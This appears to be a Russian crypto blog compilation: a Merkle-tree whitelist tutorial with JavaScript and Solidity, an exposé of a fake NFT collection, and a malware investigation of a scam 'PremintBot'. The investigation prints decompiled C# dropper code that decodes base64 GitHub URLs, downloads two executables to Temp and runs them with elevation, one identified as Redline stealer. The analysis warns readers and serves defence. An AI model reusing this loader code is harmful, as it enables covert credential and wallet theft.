Итак, раз вы зашли на эту статью, то наверняка интересуетесь что же такое Древо Меркла. Думаю что каждый кто хоть раз в жизни минтил через контракт, видел в функции вайтлиста такую штуку как _merkleProof или proof. Эти переменные могут называться по-разному, но смысл обычно один и тот же. В статье мы разберем как работает эта система, построим свое двоичное древо и напишем смарт контракт с проверкой есть ли кошелек в вл на Solidity!

Да кто такой этот ваш Древо Меркла

Кодинг

$ npm i keccak256 merkletreejs

const { MerkleTree } = require("merkletreejs");
const keccak256 = require('keccak256');

const addresses = ["0x5B38Da6a701c568545dCfcB03FcB875f56beddC4","0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2"];

const buf2hex = x => "0x" + x.toString("hex");

const leaves = addresses.map(address => keccak256(address));

const tree = new MerkleTree(leaves, keccak256, { sortPairs: true });

const merkleRootString = buf2hex(tree.getRoot());

const leaf = keccak256("0x5B38Da6a701c568545dCfcB03FcB875f56beddC4");
const proof = tree.getProof(leaf);
const proofString = "[" + proof.map(x => `"${buf2hex(x.data)}"`) + "]"

pragma solidity ^0.8.4;
 
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";

contract SimpleMerkleTree {
  bytes32 merkleRoot = 0xeeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097; 
  function checkIsAddressInWl(bytes32[] memory _merkleProof) public view returns(bool) {
    return MerkleProof.verify(_merkleProof, merkleRoot, keccak256(abi.encodePacked(msg.sender)));
  }  
 }

Надеюсь вам понравилась статья и вы узнали для себя что-то новое. Лучшей благодарностью будем подписочка на TG канал и телетайп.

Created with ❤️by https://t.me/crypto_satana || https://t.me/scissor_eth

Данная статья является перезаливом моей же статьи с telegra.ph на teletype.in.

3 июня 2021 опубликован данный пост в бункере ссылающийся на покупку боксов - https://opensea.io/collection/epic-league-totem-box.

Переходим и что мы видим? Коллекцию из 60 айтемов с общим обьемом торгов 0.39 ETH.

Теперь посмотрим во вкладку Activity, и что мы видим теперь? Первая продажа была 2 часа назад. Хмм...

И купил ее один из админов бункера - https://opensea.io/TraderXXX. На его кошельке на тот момеент когда я смотрел находилось 18 таких NFT.

Пахнет нечисто, да?

Посмотрим дальше на саму НФТ:

И посмотрим на URL выше в котором пишется адрес контракта:

https://opensea.io/assets/matic/0x2953399124f0cbb46d2cbacd8a89cf0599974963/108619439121346605445707346742609222442616510946759560073425622258581678063617

Цепляем отсюда адрес контракта: 0x2953399124f0cbb46d2cbacd8a89cf0599974963

Идем на polygonscan:

https://polygonscan.com/address/0x2953399124f0cbb46d2cbacd8a89cf0599974963

Коллекция загружена через OpenSea...

Что это означает? То что коллекция была загружена через вот такой вот стандартный интерфейс:

Никакая крупная NFT коллекция никогда так не сделает, всегда есть разработчики который пишут свой смарт-контракт.

Ну и да, оригинальная коллекция продается на Binance

И сами разработчики подтвердили что коллекция - фейк

Мы написали разработчикам и вот какой ответ получили:

UPD:

Начнем с истоков

Кто такой вообще этот ваш Халявный? Уважаемый (ранее) админ паблика @HaliavimCryptu, гемхантер, со своим каналом и артодельной (с высокими наценками), сделавший огромное количество (по его рассказам) лавэ на влах, имел роль в Курилке.

Предпосылки

Еще несколько недель назад Халявный отключил все реакции кроме 🤮, 👎🏻 и 💩. Возможно он уже тогда задумывал закинуть малварь на все комьюнити, и когда понаставляли бы таких реакций, не вызывать подозрений. Но это уже более параноидальные теории, хотя исключать этого тоже мы не можем ;)

1. Буквально месяц назад наш герой собирал складчину у себя на канале для покупки курса по Майнингу от Фармера (лол), и конечно же собрав по 70$ с 10 человек, никому мануал не кинул, прикрывшись тем что продажник вычислил их склад (а не майнер ли он нам подсунет дальше :?)

2. В его артодельне, как оказалось, качество не соответсвует тому какие сники он прикладывает. Вот пример:

3. Более интересная история которая случилась 9 апреля 2022 года, про квест на 5к$.

Халявный и Бойлер заделали совместный квест, где собрав 12 слов сид фразы, ты мог получить NFT по их словам стоимостью 5.000$. Сделано это было ради хайпа и набора аудитории, ведь видимо по другому кроме как наебывать, двигаться Халявный не умел. О квесте конечно же все благополучно забыли, ниаких пруфов естественно никто не предоставил. А сам Халявный игнорировал сообщения с вопросами.

Начало расследования. Хронология событий.

Итак, 25 июня 2022 20:31 он выпускает пост с таким содержимым:

И за этими постами сразу же пост с самими файлами, но уже отключив комментарии:

Не поверите, но некоторые паблики, успели сразу же репостнуть и удалить впоследствии, ведь ничего подозрительного кроме слива "годноты" в паблик непонятно зачем.

Анализ малвари и разбор ситуации.

Любой, у кого IQ выше амебы, перед запуском левого файла пойдет просканировать вначале его на https://www.virustotal.com/, и увидев 32 детекта из 67 засомневается в запуске софта.

Однако вот что отвечает наш юный манимейкер:

А кое-кто даже умудрился запустить софт, и следом начать рассылать по всем чатам что у него украли 439$, однако особо этому верить нельзя т.к чел мог просто перевести деньги на свой второй кошелек.

Итак, приступим к самому интересному, анализу файлов!

Мы видим что софт действительно подгружает отдельный файл с гитхаба, но почему-то именно SandBoxAccounts.exe а не просканированный PremintBot.exe.

Перейдя на по ссылке увидим гитхаб. Нет сомнений что это дело рук именно Халявного, так как коммит был сделан ровно под выложенный пост, и дальше не редактировался.

Пытаемся декомпилировать файл PremintBot.exe, и огорчаемся ведь к сожалению он собран не Pyinstaller и не py2exe, спустя какое-то время понимаем что это C# и декомпилируем. Получаем файл с подобным содержимым:

Примечание: Компиляция - процесс сбора из исходников в exe.

Примечание: Декомпиляция - обратный процесс компиляции. Получение исходников из exe файла.

using System;using System.Diagnostics;using System.IO;using System.Net;using System.Security.Principal;using System.Text;

namespace UBkvxG
{
	internal static class Program
	{
		private static void Main()
		{
			ServicePointManager.set_SecurityProtocol((SecurityProtocolType)240);
			try {
				ServicePointManager.set_SecurityProtocol((SecurityProtocolType)4080);
			}
			catch {}
			try{
				string @string = Encoding.Default.GetString(Convert.FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vU2FuZEJveEFjY291bnRzLmV4ZQ=="));
				string text = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
				try{
					if (File.Exists(text)){
						File.Delete(text);
					}
				}
				catch{}
				new WebClient().DownloadFile(@string, text);
			}
			catch{}
			try{
				string text2 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
				if (File.Exists(text2)){
					ProcessStartInfo val = new ProcessStartInfo();
					val.set_FileName(text2);
					val.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? "runas" : "");
					Process.Start(val);}
			}
			catch{}
			try{
				string string2 = Encoding.Default.GetString(Convert.FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vdXBkYm90LmV4ZQ=="));
				string text3 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
				try
				{
					if (File.Exists(text3))
					{
						File.Delete(text3);
					}
				}
				catch{}
				new WebClient().DownloadFile(string2, text3);}
			catch{}
			try{
				string text4 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", ""));
				if (File.Exists(text4)){
					ProcessStartInfo val2 = new ProcessStartInfo();
					val2.set_FileName(text4);
					val2.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? "runas" : "");
					Process.Start(val2);}
				}
			catch{
			}
		}
	}
}

Декодируем переменные через base64 online decoder и получаем такие значения:

@string = https://github.com/Cr3ap3r/Product-Red/raw/main/SandBoxAccounts.exe
text и text2 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/SandBoxAccounts.exe
string2 = https://github.com/Cr3ap3r/Product-Red/raw/main/updbot.exe
text3 и text4 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/updbot.exe

Собственно это и есть тот самый момент когда подгружаются и кладутся файлы updbot.exe и SandBoxAccounts.exe

Дальше смотрим на 2 файла:

SandBoxAccounts.exe - собран PyInstaller

updbot.exe - собран через C

C декомпилировать нельзя, только дисассемблить, так что сначала посмотрим на SandBoxAccounts.exe

Примечание: Дизассемблить - это процесс реверса кода до ассемблера.

Однако чуть позже понимаем что он скомпилирован с python 3.10, следовательно декомпилируется uncompyle6-ом. Приходится делать это ручками. После некоторых попыток получаем код подобный этому:

import threading
import requests
from urllib.parse import quote
from fake_useragent import UserAgent
from json import loads
from random import choice, randint
from base64 import b64encode
from loguru import logger
from sys import stderr
from urllib3 import disable_warnings
from time import sleep
from msvcrt import getch
from os import system
from colorama import init, Fore, Back, Style
import time
import random
init()
print('=============\nВведите данные от электронных почт в файл DataAccounts.txt\nВ формате: name@gmail.com:parol`\n============='')
print('Если вы ввели все данные, нажмите 1, если нет, то 0:')
i = int(input(''))
if i == 1:
    x = random.randint(5, 12)
    sleep(x)
    my_file = open('SandBoxAccountsData.txt', 'w+')
    print('Аккаунты успешно зарегестрированны')
    my_file.write('Error. Неверные данные от почт')
    return None

То есть никакие в помине аккаунты не регистрируются ;)

К сожалению updbot.exe декомпилировать нельзя, так как код написан на C, однако можно с легкостью более-менее понять что он делает.

Смотрим специализированным софтом и вот что получаем:

Да-да, семейство Redline :) Такие стиллеры продаются за +- 100$ на форумах.

Примечание: Redline Stealer - это вредоносная программа, которая собирает информацию из браузеров, такую как сохраненные учетные данные, данные автозаполнения и данные кредитной карты. Помимо этого еще из криптокошельков, FTP, VPN и IM клиентов.

Итоги

Халявный блин! В следующий раз когда будешь скамить покупай ручной крипт чтобы не детектили антивирусы. И не бери малварь от мамкиных кодеров с лолза :)

Примечание: Ручной крипт - это когда делают так, чтобы Малварь не детектилась антивирусами.

Примечание: Lolz.guru - школофорум.

И да, через какое-то время он наверняка вернется и начнет рассказывать что-то типа что "его взломали", однако если бы это действительно было так, то он бы сразу же вышел на связь.

Мой Telegram канал где вас не кинут > https://t.me/crypto_satana

Связаться по улучшению статьи > https://t.me/scissor_eth